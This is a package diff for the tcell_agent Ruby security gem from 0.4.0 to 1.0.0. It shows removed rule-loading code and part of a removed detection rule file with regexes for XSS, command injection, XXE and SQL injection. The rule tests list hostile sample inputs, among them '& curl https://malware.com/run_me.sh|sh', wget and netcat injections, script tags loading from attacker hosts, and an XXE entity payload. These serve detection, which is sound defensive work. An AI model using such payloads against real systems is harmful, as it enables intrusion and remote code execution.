tcell_agent 0.4.0 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/Rakefile +9 -22
- data/bin/tcell_agent +127 -132
- data/lib/tcell_agent/agent/event_processor.rb +23 -22
- data/lib/tcell_agent/agent/fork_pipe_manager.rb +7 -7
- data/lib/tcell_agent/agent/policy_manager.rb +20 -15
- data/lib/tcell_agent/agent/policy_types.rb +5 -11
- data/lib/tcell_agent/agent/static_agent.rb +5 -1
- data/lib/tcell_agent/agent.rb +6 -4
- data/lib/tcell_agent/api.rb +7 -9
- data/lib/tcell_agent/appsensor/meta_data.rb +11 -4
- data/lib/tcell_agent/authlogic.rb +3 -3
- data/lib/tcell_agent/cmdi.rb +6 -4
- data/lib/tcell_agent/config/unknown_options.rb +3 -1
- data/lib/tcell_agent/configuration.rb +47 -49
- data/lib/tcell_agent/devise.rb +2 -2
- data/lib/tcell_agent/hooks/login_fraud.rb +58 -29
- data/lib/tcell_agent/instrumentation.rb +11 -10
- data/lib/tcell_agent/logger.rb +2 -2
- data/lib/tcell_agent/patches/meta_data.rb +9 -13
- data/lib/tcell_agent/patches.rb +7 -10
- data/lib/tcell_agent/policies/clickjacking_policy.rb +4 -5
- data/lib/tcell_agent/policies/content_security_policy.rb +6 -12
- data/lib/tcell_agent/policies/dataloss_policy.rb +2 -2
- data/lib/tcell_agent/policies/http_redirect_policy.rb +2 -2
- data/lib/tcell_agent/policies/policy.rb +0 -2
- data/lib/tcell_agent/policies/rust_policies.rb +90 -0
- data/lib/tcell_agent/policies/secure_headers_policy.rb +2 -2
- data/lib/tcell_agent/rails/auth/authlogic.rb +42 -24
- data/lib/tcell_agent/rails/auth/devise.rb +44 -23
- data/lib/tcell_agent/rails/auth/doorkeeper.rb +33 -15
- data/lib/tcell_agent/rails/better_ip.rb +1 -1
- data/lib/tcell_agent/rails/csrf_exception.rb +2 -2
- data/lib/tcell_agent/rails/dlp/process_request.rb +1 -1
- data/lib/tcell_agent/rails/dlp.rb +6 -6
- data/lib/tcell_agent/rails/dlp_handler.rb +1 -1
- data/lib/tcell_agent/rails/js_agent_insert.rb +1 -1
- data/lib/tcell_agent/rails/middleware/body_filter_middleware.rb +1 -1
- data/lib/tcell_agent/rails/middleware/context_middleware.rb +3 -2
- data/lib/tcell_agent/rails/middleware/headers_middleware.rb +10 -9
- data/lib/tcell_agent/rails/routes/grape.rb +6 -6
- data/lib/tcell_agent/rails/routes.rb +8 -11
- data/lib/tcell_agent/rust/libtcellagent-0.11.1.dylib +0 -0
- data/lib/tcell_agent/rust/{libtcellagent-0.6.1.so → libtcellagent-0.11.1.so} +0 -0
- data/lib/tcell_agent/rust/models.rb +16 -0
- data/lib/tcell_agent/rust/tcellagent-0.11.1.dll +0 -0
- data/lib/tcell_agent/rust/whisperer.rb +119 -48
- data/lib/tcell_agent/sensor_events/appsensor_meta_event.rb +17 -20
- data/lib/tcell_agent/sensor_events/command_injection.rb +50 -5
- data/lib/tcell_agent/sensor_events/login_fraud.rb +34 -18
- data/lib/tcell_agent/sensor_events/patches.rb +21 -0
- data/lib/tcell_agent/sensor_events/server_agent.rb +3 -3
- data/lib/tcell_agent/sensor_events/util/utils.rb +4 -3
- data/lib/tcell_agent/servers/puma.rb +2 -2
- data/lib/tcell_agent/servers/unicorn.rb +1 -1
- data/lib/tcell_agent/utils/passwords.rb +28 -0
- data/lib/tcell_agent/version.rb +1 -1
- data/lib/tcell_agent.rb +1 -5
- data/spec/apps/rails-3.2/config/tcell_agent.config +15 -0
- data/spec/apps/rails-3.2/log/development.log +0 -0
- data/spec/apps/rails-3.2/log/test.log +12 -0
- data/spec/apps/rails-4.1/log/test.log +0 -0
- data/spec/lib/tcell_agent/agent/fork_pipe_manager_spec.rb +46 -45
- data/spec/lib/tcell_agent/agent/policy_manager_spec.rb +276 -164
- data/spec/lib/tcell_agent/agent/static_agent_spec.rb +44 -47
- data/spec/lib/tcell_agent/api/api_spec.rb +16 -16
- data/spec/lib/tcell_agent/appsensor/injections_reporter_spec.rb +131 -116
- data/spec/lib/tcell_agent/appsensor/meta_data_spec.rb +55 -51
- data/spec/lib/tcell_agent/cmdi_spec.rb +413 -436
- data/spec/lib/tcell_agent/config/unknown_options_spec.rb +145 -128
- data/spec/lib/tcell_agent/configuration_spec.rb +165 -169
- data/spec/lib/tcell_agent/hooks/login_fraud_spec.rb +144 -153
- data/spec/lib/tcell_agent/instrumentation_spec.rb +84 -85
- data/spec/lib/tcell_agent/patches_spec.rb +70 -111
- data/spec/lib/tcell_agent/policies/appsensor_policy_spec.rb +313 -244
- data/spec/lib/tcell_agent/policies/clickjacking_policy_spec.rb +28 -28
- data/spec/lib/tcell_agent/policies/command_injection_policy_spec.rb +643 -513
- data/spec/lib/tcell_agent/policies/content_security_policy_spec.rb +55 -102
- data/spec/lib/tcell_agent/policies/dataloss_policy_spec.rb +111 -134
- data/spec/lib/tcell_agent/policies/http_redirect_policy_spec.rb +141 -146
- data/spec/lib/tcell_agent/policies/http_tx_policy_spec.rb +8 -8
- data/spec/lib/tcell_agent/policies/login_policy_spec.rb +15 -17
- data/spec/lib/tcell_agent/policies/patches_policy_spec.rb +231 -559
- data/spec/lib/tcell_agent/policies/secure_headers_policy_spec.rb +27 -27
- data/spec/lib/tcell_agent/rails/better_ip_spec.rb +30 -34
- data/spec/lib/tcell_agent/rails/logger_spec.rb +50 -49
- data/spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb +182 -199
- data/spec/lib/tcell_agent/rails/middleware/dlp_middleware_spec.rb +110 -84
- data/spec/lib/tcell_agent/rails/middleware/global_middleware_spec.rb +107 -85
- data/spec/lib/tcell_agent/rails/middleware/redirect_middleware_spec.rb +68 -40
- data/spec/lib/tcell_agent/rails/middleware/tcell_body_proxy_spec.rb +81 -67
- data/spec/lib/tcell_agent/rails/responses_spec.rb +33 -37
- data/spec/lib/tcell_agent/rails/routes/grape_spec.rb +116 -121
- data/spec/lib/tcell_agent/rails/routes/route_id_spec.rb +25 -28
- data/spec/lib/tcell_agent/rails/routes/routes_spec.rb +87 -85
- data/spec/lib/tcell_agent/rails_spec.rb +1 -6
- data/spec/lib/tcell_agent/rust/models_spec.rb +112 -0
- data/spec/lib/tcell_agent/rust/whisperer_spec.rb +502 -179
- data/spec/lib/tcell_agent/sensor_events/appsensor_meta_event_spec.rb +44 -33
- data/spec/lib/tcell_agent/sensor_events/dlp_spec.rb +4 -4
- data/spec/lib/tcell_agent/sensor_events/sessions_metric_spec.rb +183 -169
- data/spec/lib/tcell_agent/sensor_events/util/sanitizer_utilities_spec.rb +25 -25
- data/spec/lib/tcell_agent/utils/bounded_queue_spec.rb +17 -20
- data/spec/lib/tcell_agent/utils/params_spec.rb +28 -28
- data/spec/lib/tcell_agent/utils/passwords_spec.rb +143 -0
- data/spec/lib/tcell_agent/utils/strings_spec.rb +35 -35
- data/spec/lib/tcell_agent_spec.rb +8 -8
- data/spec/spec_helper.rb +4 -4
- data/spec/support/middleware_helper.rb +10 -10
- data/spec/support/static_agent_overrides.rb +16 -12
- data/tcell_agent.gemspec +17 -33
- metadata +43 -198
- data/LICENSE_libinjection +0 -32
- data/Readme.txt +0 -7
- data/ext/libinjection/extconf.rb +0 -3
- data/ext/libinjection/libinjection.h +0 -65
- data/ext/libinjection/libinjection_html5.c +0 -847
- data/ext/libinjection/libinjection_html5.h +0 -54
- data/ext/libinjection/libinjection_sqli.c +0 -2317
- data/ext/libinjection/libinjection_sqli.h +0 -295
- data/ext/libinjection/libinjection_sqli_data.h +0 -9004
- data/ext/libinjection/libinjection_wrap.c +0 -3525
- data/ext/libinjection/libinjection_xss.c +0 -531
- data/ext/libinjection/libinjection_xss.h +0 -21
- data/lib/tcell_agent/appsensor/injections_matcher.rb +0 -155
- data/lib/tcell_agent/appsensor/rules/appsensor_rule_manager.rb +0 -49
- data/lib/tcell_agent/appsensor/rules/appsensor_rule_set.rb +0 -67
- data/lib/tcell_agent/appsensor/rules/baserules.json +0 -467
- data/lib/tcell_agent/patches/block_rule.rb +0 -93
- data/lib/tcell_agent/patches/sensors_matcher.rb +0 -31
- data/lib/tcell_agent/policies/appsensor/cmdi_sensor.rb +0 -23
- data/lib/tcell_agent/policies/appsensor/fpt_sensor.rb +0 -23
- data/lib/tcell_agent/policies/appsensor/injection_sensor.rb +0 -117
- data/lib/tcell_agent/policies/appsensor/nullbyte_sensor.rb +0 -26
- data/lib/tcell_agent/policies/appsensor/retr_sensor.rb +0 -22
- data/lib/tcell_agent/policies/appsensor/sqli_sensor.rb +0 -34
- data/lib/tcell_agent/policies/appsensor/xss_sensor.rb +0 -34
- data/lib/tcell_agent/policies/appsensor_policy.rb +0 -49
- data/lib/tcell_agent/policies/command_injection_policy.rb +0 -196
- data/lib/tcell_agent/policies/honeytokens_policy.rb +0 -69
- data/lib/tcell_agent/policies/patches_policy.rb +0 -84
- data/lib/tcell_agent/rust/libtcellagent-0.6.1.dylib +0 -0
- data/lib/tcell_agent/rust/tcellagent-0.6.1.dll +0 -0
- data/spec/apps/rails-3.2/Gemfile +0 -25
- data/spec/apps/rails-3.2/Gemfile.lock +0 -126
- data/spec/apps/rails-3.2/Rakefile +0 -7
- data/spec/apps/rails-3.2/app/assets/images/rails.png +0 -0
- data/spec/apps/rails-3.2/app/assets/javascripts/application.js +0 -15
- data/spec/apps/rails-3.2/app/assets/stylesheets/application.css +0 -13
- data/spec/apps/rails-3.2/app/controllers/application_controller.rb +0 -3
- data/spec/apps/rails-3.2/app/controllers/t_cell_app_controller.rb +0 -5
- data/spec/apps/rails-3.2/app/helpers/application_helper.rb +0 -2
- data/spec/apps/rails-3.2/app/views/layouts/application.html.erb +0 -14
- data/spec/apps/rails-3.2/app/views/t_cell_app/index.html.erb +0 -1
- data/spec/apps/rails-3.2/config/application.rb +0 -63
- data/spec/apps/rails-3.2/config/boot.rb +0 -6
- data/spec/apps/rails-3.2/config/environment.rb +0 -5
- data/spec/apps/rails-3.2/config/environments/test.rb +0 -37
- data/spec/apps/rails-3.2/config/routes.rb +0 -11
- data/spec/apps/rails-3.2/config.ru +0 -4
- data/spec/apps/rails-4.1/Gemfile +0 -7
- data/spec/apps/rails-4.1/Gemfile.lock +0 -114
- data/spec/apps/rails-4.1/Rakefile +0 -6
- data/spec/apps/rails-4.1/app/assets/javascripts/application.js +0 -16
- data/spec/apps/rails-4.1/app/assets/stylesheets/application.css +0 -15
- data/spec/apps/rails-4.1/app/controllers/application_controller.rb +0 -5
- data/spec/apps/rails-4.1/app/controllers/t_cell_app_controller.rb +0 -5
- data/spec/apps/rails-4.1/app/helpers/application_helper.rb +0 -2
- data/spec/apps/rails-4.1/app/views/layouts/application.html.erb +0 -14
- data/spec/apps/rails-4.1/app/views/t_cell_app/index.html.erb +0 -1
- data/spec/apps/rails-4.1/config/application.rb +0 -24
- data/spec/apps/rails-4.1/config/boot.rb +0 -4
- data/spec/apps/rails-4.1/config/environment.rb +0 -5
- data/spec/apps/rails-4.1/config/environments/test.rb +0 -41
- data/spec/apps/rails-4.1/config/initializers/assets.rb +0 -8
- data/spec/apps/rails-4.1/config/initializers/backtrace_silencers.rb +0 -7
- data/spec/apps/rails-4.1/config/initializers/cookies_serializer.rb +0 -3
- data/spec/apps/rails-4.1/config/initializers/filter_parameter_logging.rb +0 -4
- data/spec/apps/rails-4.1/config/initializers/inflections.rb +0 -16
- data/spec/apps/rails-4.1/config/initializers/mime_types.rb +0 -4
- data/spec/apps/rails-4.1/config/initializers/session_store.rb +0 -3
- data/spec/apps/rails-4.1/config/initializers/wrap_parameters.rb +0 -14
- data/spec/apps/rails-4.1/config/locales/en.yml +0 -23
- data/spec/apps/rails-4.1/config/routes.rb +0 -12
- data/spec/apps/rails-4.1/config/secrets.yml +0 -22
- data/spec/apps/rails-4.1/config.ru +0 -4
- data/spec/controllers/application_controller.rb +0 -12
- data/spec/lib/tcell_agent/appsensor/injections_matcher_spec.rb +0 -522
- data/spec/lib/tcell_agent/appsensor/rules/appsensor_rule_manager_spec.rb +0 -23
- data/spec/lib/tcell_agent/appsensor/rules/appsensor_rule_set_spec.rb +0 -159
- data/spec/lib/tcell_agent/patches/block_rule_spec.rb +0 -458
- data/spec/lib/tcell_agent/patches/sensors_matcher_spec.rb +0 -35
- data/spec/lib/tcell_agent/policies/appsensor/cmdi_sensor_spec.rb +0 -139
- data/spec/lib/tcell_agent/policies/appsensor/fpt_sensor_spec.rb +0 -139
- data/spec/lib/tcell_agent/policies/appsensor/nullbyte_sensor_spec.rb +0 -167
- data/spec/lib/tcell_agent/policies/appsensor/retr_sensor_spec.rb +0 -139
- data/spec/lib/tcell_agent/policies/appsensor/sqli_sensor_spec.rb +0 -246
- data/spec/lib/tcell_agent/policies/appsensor/xss_sensor_spec.rb +0 -882
- data/spec/lib/tcell_agent/policies/honeytokens_policy_spec.rb +0 -22
|
@@ -1,49 +0,0 @@
|
|
|
1
|
-
require 'singleton'
|
|
2
|
-
require 'tcell_agent/appsensor/rules/appsensor_rule_set'
|
|
3
|
-
|
|
4
|
-
module TCellAgent
|
|
5
|
-
|
|
6
|
-
class AppSensorRuleManager
|
|
7
|
-
|
|
8
|
-
include Singleton
|
|
9
|
-
|
|
10
|
-
attr_accessor :rule_info
|
|
11
|
-
|
|
12
|
-
def initialize
|
|
13
|
-
@rule_info = {}
|
|
14
|
-
|
|
15
|
-
load_default_rules_file
|
|
16
|
-
end
|
|
17
|
-
|
|
18
|
-
def load_default_rules_file
|
|
19
|
-
filename = File.join(File.dirname(__FILE__), "baserules.json")
|
|
20
|
-
load_rules_file(filename)
|
|
21
|
-
end
|
|
22
|
-
|
|
23
|
-
def load_rules_file(filename)
|
|
24
|
-
@rule_info = {}
|
|
25
|
-
|
|
26
|
-
if File.file?(filename)
|
|
27
|
-
rules_from_file = JSON.parse(File.open(filename).read)
|
|
28
|
-
rule_types = rules_from_file.fetch("sensors", {})
|
|
29
|
-
|
|
30
|
-
rule_types.each do |sensor_name, sensor_config|
|
|
31
|
-
rule_set = AppSensorRuleSet.new()
|
|
32
|
-
rule_set.set_safe_pattern_from_string(sensor_config.fetch("safe_pattern", nil))
|
|
33
|
-
|
|
34
|
-
sensor_config.fetch("patterns", []).each do |pattern_config|
|
|
35
|
-
rule_set.add_pattern_from_dict(pattern_config)
|
|
36
|
-
end
|
|
37
|
-
|
|
38
|
-
@rule_info[sensor_name] = rule_set
|
|
39
|
-
end
|
|
40
|
-
end
|
|
41
|
-
end
|
|
42
|
-
|
|
43
|
-
def get_ruleset_for(rule_type)
|
|
44
|
-
@rule_info.fetch(rule_type, nil)
|
|
45
|
-
end
|
|
46
|
-
|
|
47
|
-
end
|
|
48
|
-
|
|
49
|
-
end
|
|
@@ -1,67 +0,0 @@
|
|
|
1
|
-
module TCellAgent
|
|
2
|
-
|
|
3
|
-
class AppSensorRulePattern
|
|
4
|
-
attr_accessor :pattern_id, :pattern_regex, :enabled
|
|
5
|
-
def initialize(pattern_id, pattern_regex, enabled)
|
|
6
|
-
@pattern_id = pattern_id
|
|
7
|
-
@pattern_regex = pattern_regex
|
|
8
|
-
@enabled = enabled
|
|
9
|
-
end
|
|
10
|
-
end
|
|
11
|
-
|
|
12
|
-
class AppSensorRuleSet
|
|
13
|
-
attr_accessor :safe_pattern, :patterns
|
|
14
|
-
|
|
15
|
-
def initialize()
|
|
16
|
-
@safe_pattern = nil
|
|
17
|
-
@patterns = []
|
|
18
|
-
end
|
|
19
|
-
|
|
20
|
-
def check_violation(param_name, param_value, active_pattern_ids, v1_compatability_enabled)
|
|
21
|
-
return nil if param_value.nil? || (@safe_pattern && param_value.match(@safe_pattern))
|
|
22
|
-
|
|
23
|
-
@patterns.each do |pattern|
|
|
24
|
-
next if pattern.nil? || pattern.enabled == false
|
|
25
|
-
|
|
26
|
-
if v1_compatability_enabled || active_pattern_ids.include?(pattern.pattern_id)
|
|
27
|
-
pattern_result = param_value.match(pattern.pattern_regex)
|
|
28
|
-
|
|
29
|
-
if pattern_result
|
|
30
|
-
return {"param" => param_name, "value" => param_value, "pattern" => pattern.pattern_id}
|
|
31
|
-
end
|
|
32
|
-
end
|
|
33
|
-
end
|
|
34
|
-
|
|
35
|
-
return nil
|
|
36
|
-
rescue
|
|
37
|
-
return nil
|
|
38
|
-
end
|
|
39
|
-
|
|
40
|
-
def add_pattern_from_dict(rule_dict)
|
|
41
|
-
return unless rule_dict
|
|
42
|
-
|
|
43
|
-
pattern_id = rule_dict.fetch("id", nil)
|
|
44
|
-
pattern = rule_dict.fetch("ruby", nil)
|
|
45
|
-
if pattern == nil
|
|
46
|
-
pattern = rule_dict.fetch("common", nil)
|
|
47
|
-
elsif pattern == "disabled"
|
|
48
|
-
return
|
|
49
|
-
end
|
|
50
|
-
|
|
51
|
-
return if pattern_id == nil or pattern == nil
|
|
52
|
-
|
|
53
|
-
pattern_regex = Regexp.new(pattern, Regexp::MULTILINE | Regexp::IGNORECASE)
|
|
54
|
-
enabled = rule_dict.fetch("enabled", true)
|
|
55
|
-
|
|
56
|
-
rule_pattern = AppSensorRulePattern.new(pattern_id, pattern_regex, enabled)
|
|
57
|
-
@patterns.push(rule_pattern)
|
|
58
|
-
end
|
|
59
|
-
|
|
60
|
-
def set_safe_pattern_from_string(safe_pattern_str)
|
|
61
|
-
if safe_pattern_str != nil
|
|
62
|
-
@safe_pattern = Regexp.new(safe_pattern_str)
|
|
63
|
-
end
|
|
64
|
-
end
|
|
65
|
-
end
|
|
66
|
-
|
|
67
|
-
end
|
|
@@ -1,467 +0,0 @@
|
|
|
1
|
-
{
|
|
2
|
-
"version": "20171205",
|
|
3
|
-
"sensors": {
|
|
4
|
-
"xss": {
|
|
5
|
-
"patterns": [
|
|
6
|
-
{
|
|
7
|
-
"title": "Basic Injection",
|
|
8
|
-
"sophistication": 1,
|
|
9
|
-
"common": "(?:<(script|iframe|embed|frame|frameset|object|img|applet|body|html|style|layer|link|ilayer|meta|bgsound))",
|
|
10
|
-
"tests": {
|
|
11
|
-
"shouldFind": [
|
|
12
|
-
"\n\n<scRipT>document.write(1)</script>",
|
|
13
|
-
"<body onload=\"abc\">",
|
|
14
|
-
"<script>alert(123)</script>",
|
|
15
|
-
"<script>alert(\"hellox world\");</script>",
|
|
16
|
-
"9<script/src=http/attacker.com>"
|
|
17
|
-
],
|
|
18
|
-
"shouldIgnore": [
|
|
19
|
-
"<h1>hi</h1>",
|
|
20
|
-
"Bob",
|
|
21
|
-
"Script"
|
|
22
|
-
]
|
|
23
|
-
},
|
|
24
|
-
"id": "1"
|
|
25
|
-
},
|
|
26
|
-
{
|
|
27
|
-
"title": "Alert or Event XSS",
|
|
28
|
-
"sophistication": 2,
|
|
29
|
-
"common": "(?:(alert|on\\w+\\s*=|function\\s+\\w+)\\s*\\(\\s*(['+\\d\\w](,?\\s*['+\\d\\w]*)*)*\\s*\\))",
|
|
30
|
-
"tests": {
|
|
31
|
-
"shouldFind": [
|
|
32
|
-
"<input onmouseover='alert(1)'>",
|
|
33
|
-
"<input/onmouseover='alert(1)'>"
|
|
34
|
-
],
|
|
35
|
-
"shouldIgnore": [
|
|
36
|
-
"Email de la personne (action du front)",
|
|
37
|
-
"<h1>hi</h1>",
|
|
38
|
-
"()",
|
|
39
|
-
"Bob",
|
|
40
|
-
"Sammy"
|
|
41
|
-
]
|
|
42
|
-
},
|
|
43
|
-
"id": "2"
|
|
44
|
-
},
|
|
45
|
-
{
|
|
46
|
-
"title": "Attribute Breaks",
|
|
47
|
-
"sophistication": 3,
|
|
48
|
-
"common": "(?:\"+.*[<=]\\s*\"[^\"]+\")|(?:\"\\s*\\w+\\s*=)|(?:>\\w=/)|(?:#.+\\)[\"\\s]*>)|(?:\"\\s*(?:src|style|on\\w+)\\s*=\\s*\")|(?:[^\"]?\"[,;\\s]+\\w*[\\[\\(])(?:^>[\\w\\s]*</?\\w{2,}>)",
|
|
49
|
-
"tests": {
|
|
50
|
-
"shouldFind": [
|
|
51
|
-
"<input src=\"b\" onmouseover=\"alert(1)\" test=\"abc\">"
|
|
52
|
-
],
|
|
53
|
-
"shouldIgnore": [
|
|
54
|
-
"<h1>hi</h1>",
|
|
55
|
-
"<i class=\"test\">test</i>",
|
|
56
|
-
"Bob",
|
|
57
|
-
"Sammy",
|
|
58
|
-
"<i>",
|
|
59
|
-
"onmouseover",
|
|
60
|
-
"\"alert(1)\""
|
|
61
|
-
]
|
|
62
|
-
},
|
|
63
|
-
"id": "4"
|
|
64
|
-
},
|
|
65
|
-
{
|
|
66
|
-
"title": "Basic Obfuscation",
|
|
67
|
-
"sophistication": 3,
|
|
68
|
-
"common": "(?:[\".]script\\s*\\()|(?:\\$\\$?\\s*\\(\\s*[\\w\"])|(?:/[\\w\\s]+/\\.)|(?:=\\s*/\\w+/\\s*\\.)|(?:(?:this|window|top|parent|frames|self|content)\\[\\s*[(,\"]*\\s*[\\w\\$])|(?:,\\s*new\\s+\\w+\\s*[,;)])",
|
|
69
|
-
"tests": {
|
|
70
|
-
"shouldFind": [
|
|
71
|
-
",YAHOO.util.Get.script(\"http://ha.ckers.org/xss.js\")"
|
|
72
|
-
],
|
|
73
|
-
"shouldIgnore": [
|
|
74
|
-
"<h1>hi</h1>",
|
|
75
|
-
"<i class=\"test\">test</i>",
|
|
76
|
-
"Bob",
|
|
77
|
-
"Sammy",
|
|
78
|
-
"<i>",
|
|
79
|
-
"onmouseover",
|
|
80
|
-
"\"alert(1)\""
|
|
81
|
-
]
|
|
82
|
-
},
|
|
83
|
-
"id": "5"
|
|
84
|
-
},
|
|
85
|
-
{
|
|
86
|
-
"title": "Common Concatenation",
|
|
87
|
-
"sophistication": 3,
|
|
88
|
-
"common": "(?:=\\s*\\w+\\s*\\+\\s*\")|(?:\\+=\\s*\\(\\s\")|(?:!+\\s*[\\d.,]+\\w?\\d*\\s*\\?)|(?:=\\s*\\[\\s*\\])|(?:\"\\s*\\+\\s*\")|(?:[^\\s]\\[\\s*\\d+\\s*\\]\\s*[;+])|(?:\"\\s*[&|]+\\s*\")|(?:/\\s*\\?\\s*\")|(?:/\\s*\\)\\s*\\[)|(?:\\d\\?.+:\\d)|(?:\\]\\s*\\[\\W*\\w)",
|
|
89
|
-
"tests": {
|
|
90
|
-
"shouldFind": [
|
|
91
|
-
"=a+\"",
|
|
92
|
-
"+=( \"",
|
|
93
|
-
"! 1,000.0a?",
|
|
94
|
-
"= [ ]",
|
|
95
|
-
"\" + \"",
|
|
96
|
-
"#[ 1 ] ;",
|
|
97
|
-
"^[ 1 ] +",
|
|
98
|
-
"\" & \"",
|
|
99
|
-
"\" || \"",
|
|
100
|
-
"/ ? \"",
|
|
101
|
-
"/ ) [",
|
|
102
|
-
"1?a:1",
|
|
103
|
-
"] [$a",
|
|
104
|
-
"= werewr + \""
|
|
105
|
-
],
|
|
106
|
-
"shouldIgnore": [
|
|
107
|
-
"<h1>hi</h1>",
|
|
108
|
-
"<i class=\"test\">test</i>",
|
|
109
|
-
"Bob",
|
|
110
|
-
"Sammy",
|
|
111
|
-
"<i>",
|
|
112
|
-
"onmouseover",
|
|
113
|
-
"http://127.0.0.1:4000/contrib?file=/etc/passwd",
|
|
114
|
-
"e=/",
|
|
115
|
-
"\"alert(1)\""
|
|
116
|
-
]
|
|
117
|
-
},
|
|
118
|
-
"id": "6"
|
|
119
|
-
},
|
|
120
|
-
{
|
|
121
|
-
"title": "IFrame Tag Injection",
|
|
122
|
-
"sophistication": 1,
|
|
123
|
-
"common": "<iframe.*",
|
|
124
|
-
"tests": {
|
|
125
|
-
"shouldFind": [
|
|
126
|
-
"Sam\n<h3><iframe/src=\\\\malware.xcc/>"
|
|
127
|
-
],
|
|
128
|
-
"shouldIgnore": [
|
|
129
|
-
"<h1>hi</h1>",
|
|
130
|
-
"Bob",
|
|
131
|
-
"Script"
|
|
132
|
-
]
|
|
133
|
-
},
|
|
134
|
-
"id": "7"
|
|
135
|
-
},
|
|
136
|
-
{
|
|
137
|
-
"title": "JavaScript URL",
|
|
138
|
-
"sophistication": 1,
|
|
139
|
-
"common": "\\b(src|href|lowsrc|url|content)\\b\\W*?\\bjavascript:",
|
|
140
|
-
"tests": {
|
|
141
|
-
"shouldFind": [
|
|
142
|
-
"\" href=\"javascript:alert(1)\"",
|
|
143
|
-
"' url='javascript:alert(1)'",
|
|
144
|
-
"<input type=image src=javascript:",
|
|
145
|
-
"<meta http-equiv=\"refresh\" content=\"javascript:..."
|
|
146
|
-
],
|
|
147
|
-
"shouldIgnore": [
|
|
148
|
-
"<h1>hi</h1>",
|
|
149
|
-
"Bob",
|
|
150
|
-
"Script"
|
|
151
|
-
]
|
|
152
|
-
},
|
|
153
|
-
"id": "8"
|
|
154
|
-
}
|
|
155
|
-
]
|
|
156
|
-
},
|
|
157
|
-
"cmdi": {
|
|
158
|
-
"safe_pattern": "^[a-zA-Z0-9_\\s\\r\\n\\t]*$",
|
|
159
|
-
"patterns": [
|
|
160
|
-
{
|
|
161
|
-
"title": "Common Remote Attempts",
|
|
162
|
-
"sophistication": 2,
|
|
163
|
-
"id": "1",
|
|
164
|
-
"common": "(?:[;\\|`]\\W*?\\bcc|[&\\|;]\\W*\\b\\b(wget|curl))\\b|/cc(?:['\"\\|;`\\-\\s]|$)",
|
|
165
|
-
"tests": {
|
|
166
|
-
"shouldFind": [
|
|
167
|
-
"|wget https://malware.com",
|
|
168
|
-
"& curl https://malware.com/run_me.sh|sh"
|
|
169
|
-
],
|
|
170
|
-
"shouldIgnore": [
|
|
171
|
-
"curl/7.54.0",
|
|
172
|
-
"Wget/1.17.1 (linux-gnu)",
|
|
173
|
-
"aB--D_C=",
|
|
174
|
-
"union soldier",
|
|
175
|
-
"a",
|
|
176
|
-
"select",
|
|
177
|
-
"James O'Connor",
|
|
178
|
-
"Like this or that",
|
|
179
|
-
"curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2",
|
|
180
|
-
"divide and conquer"
|
|
181
|
-
]
|
|
182
|
-
}
|
|
183
|
-
},
|
|
184
|
-
{
|
|
185
|
-
"title": "Common Command Attempts",
|
|
186
|
-
"sophistication": 1,
|
|
187
|
-
"id": "2",
|
|
188
|
-
"common": "(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:\\.exe|32)\\b|\\b\\W*?/c)|d(?:\\b\\W*?[\\\\/]|\\W*?\\.\\.)|hmod.{0,40}?\\+.{0,3}x))|[;\\|`]\\W*?\\b(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp)|p(?:asswd|ython|erl|ing|s)|ruby|node|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)\\b|g(?:\\+\\+|cc\b)))",
|
|
189
|
-
"tests": {
|
|
190
|
-
"shouldFind": [
|
|
191
|
-
"test|echo hi",
|
|
192
|
-
"abc;nc",
|
|
193
|
-
"`ls /etc/passwd`",
|
|
194
|
-
"`python /my/code`",
|
|
195
|
-
"`ruby /my/code`",
|
|
196
|
-
"`node /my/code`"
|
|
197
|
-
],
|
|
198
|
-
"shouldIgnore": [
|
|
199
|
-
"aB--D_C=",
|
|
200
|
-
"union soldier",
|
|
201
|
-
"a",
|
|
202
|
-
"select",
|
|
203
|
-
"James O'Connor",
|
|
204
|
-
"Like this or that",
|
|
205
|
-
"divide and conquer",
|
|
206
|
-
"david;bob",
|
|
207
|
-
"python",
|
|
208
|
-
"ruby",
|
|
209
|
-
"node"
|
|
210
|
-
]
|
|
211
|
-
}
|
|
212
|
-
},
|
|
213
|
-
{
|
|
214
|
-
"title": "XML Injection Attempts",
|
|
215
|
-
"sophistication": 1,
|
|
216
|
-
"id": "3",
|
|
217
|
-
"common": "<\\?xml.*<!ENTITY",
|
|
218
|
-
"tests": {
|
|
219
|
-
"shouldFind": [
|
|
220
|
-
"<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM \"file:///dev/random\" >]><foo>&xxe;</foo>"
|
|
221
|
-
],
|
|
222
|
-
"shouldIgnore": [
|
|
223
|
-
"aB--D_C=",
|
|
224
|
-
"union soldier",
|
|
225
|
-
"a",
|
|
226
|
-
"select",
|
|
227
|
-
"James O'Connor",
|
|
228
|
-
"Like this or that",
|
|
229
|
-
"divide and conquer",
|
|
230
|
-
"david;bob",
|
|
231
|
-
"python",
|
|
232
|
-
"ruby",
|
|
233
|
-
"node"
|
|
234
|
-
]
|
|
235
|
-
}
|
|
236
|
-
}
|
|
237
|
-
]
|
|
238
|
-
},
|
|
239
|
-
"sqli": {
|
|
240
|
-
"safe_pattern": "^[a-zA-Z0-9_\\s\\r\\n\\t]*$",
|
|
241
|
-
"patterns": [
|
|
242
|
-
{
|
|
243
|
-
"title": "Common Encoding Obfuscations",
|
|
244
|
-
"sophistication": 3,
|
|
245
|
-
